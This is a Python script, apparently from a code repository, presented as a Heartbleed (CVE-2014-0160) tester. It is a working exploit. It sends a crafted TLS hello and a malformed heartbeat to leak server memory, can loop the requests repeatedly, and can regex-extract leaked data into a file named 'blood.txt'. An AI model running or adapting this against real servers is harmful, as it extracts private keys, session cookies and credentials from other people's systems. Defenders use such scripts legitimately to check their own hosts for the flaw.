173 lines
5.0 KiB
Python
Executable File
173 lines
5.0 KiB
Python
Executable File
#!/usr/bin/env python3
|
|
|
|
## Flavored heartbleed test
|
|
|
|
import socket
|
|
import struct
|
|
import select
|
|
import time
|
|
import re
|
|
import argparse
|
|
|
|
|
|
def hex2bin(x):
|
|
return bytes.fromhex(re.sub('\s', '', x))
|
|
|
|
|
|
def format(s):
|
|
for i in zip(*[iter(s)] * 64):
|
|
if any(i):
|
|
for k in i:
|
|
if k in range(26, 128):
|
|
yield chr(k)
|
|
else:
|
|
yield '.'
|
|
yield '\n'
|
|
|
|
|
|
def recvall(s, length, timeout=5):
|
|
endtime = time.time() + timeout
|
|
rdata = b''
|
|
remain = length
|
|
while remain > 0:
|
|
rtime = endtime - time.time()
|
|
if rtime < 0:
|
|
return None
|
|
r, w, e = select.select([s], [], [], 5)
|
|
if s in r:
|
|
data = s.recv(remain)
|
|
# EOF?
|
|
if not data:
|
|
return None
|
|
rdata += data
|
|
remain -= len(data)
|
|
return rdata
|
|
|
|
|
|
def recvmsg(s):
|
|
hdr = recvall(s, 5)
|
|
if hdr is None:
|
|
print('[Error] Unexpected EOF in header - server closed connection')
|
|
return (None,) * 3
|
|
typ, ver, ln = struct.unpack('>BHH', hdr)
|
|
pay = recvall(s, ln, 10)
|
|
if pay is None:
|
|
print('[Error] Unexpected EOF in payload - server closed connection')
|
|
return (None,) * 3
|
|
print('[Received message]', 'type:', typ, 'ver:', ver, 'length:', len(pay))
|
|
return typ, ver, pay
|
|
|
|
|
|
def hit_hb(s):
|
|
s.send(hb)
|
|
while True:
|
|
typ, ver, pay = recvmsg(s)
|
|
if typ is None:
|
|
print('[Not vulnerable] No heartbeat response received.')
|
|
|
|
if typ == 24:
|
|
print('Received heartbeat response:')
|
|
if len(pay) > 3:
|
|
print('[Vulnerable] Server is vulnerable.')
|
|
return format(pay)
|
|
else:
|
|
print('[Not vulnerable] Server did not return any extra data.')
|
|
|
|
if typ == 21:
|
|
print('[Not vulnerable] Server returned error.')
|
|
return format(pay)
|
|
|
|
|
|
def main():
|
|
parser = argparse.ArgumentParser(
|
|
description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
|
|
parser.add_argument('hostname', help='Hostname, ip address.')
|
|
parser.add_argument(
|
|
'-p', '--port',
|
|
type=int, default=443,
|
|
help='TCP port to test (default: 443)')
|
|
parser.add_argument(
|
|
'-s', '--starttls',
|
|
action='store_true', default=False,
|
|
help='check STARTTLS')
|
|
parser.add_argument(
|
|
'-l', '--loop',
|
|
action='store_true', default=False,
|
|
help='keep sending heartbeats')
|
|
parser.add_argument(
|
|
'-r', '--regex',
|
|
type=str, default='',
|
|
help='results to extract')
|
|
args = parser.parse_args()
|
|
while True:
|
|
try:
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
print('Connecting to %s...' % args.hostname)
|
|
s.connect((args.hostname, args.port))
|
|
|
|
if args.starttls:
|
|
rec = s.recv(4096)
|
|
s.send(b'ehlo starttlstest\n')
|
|
rec = s.recv(1024)
|
|
if b'STARTTLS' not in rec:
|
|
print('[Error] STARTTLS not supported.')
|
|
return
|
|
s.send(b'starttls\n')
|
|
rec = s.recv(1024)
|
|
|
|
print('Sending Client Hello...')
|
|
s.send(hello)
|
|
print('Waiting for Server Hello...')
|
|
|
|
while True:
|
|
typ, ver, pay = recvmsg(s)
|
|
if typ is None:
|
|
print('[Error] Server closed connection.')
|
|
return
|
|
# Look for server hello done message.
|
|
if typ == 22 and pay[0] == 0x0E:
|
|
break
|
|
|
|
print('Sending heartbeat request...')
|
|
s.send(hb)
|
|
data = ''.join(hit_hb(s))
|
|
|
|
if data:
|
|
print('Received data:', data, sep="\n")
|
|
|
|
if args.regex:
|
|
matches = re.compile(args.regex, re.DOTALL).findall(data)
|
|
with open('blood.txt', 'a') as file:
|
|
file.write('\n'.join(matches))
|
|
|
|
if not args.loop:
|
|
s.close()
|
|
break
|
|
except KeyboardInterrupt:
|
|
s.close()
|
|
return
|
|
|
|
hello = hex2bin('''
|
|
16 03 02 00 dc 01 00 00 d8 03 02 53
|
|
43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
|
|
bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
|
|
00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
|
|
00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
|
|
c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
|
|
c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
|
|
c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
|
|
c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
|
|
00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
|
|
03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
|
|
00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
|
|
00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
|
|
00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
|
|
00 0f 00 01 01''')
|
|
|
|
hb = hex2bin('''
|
|
18 03 02 00 03
|
|
01 40 00''')
|
|
|
|
if __name__ == '__main__':
|
|
main()
|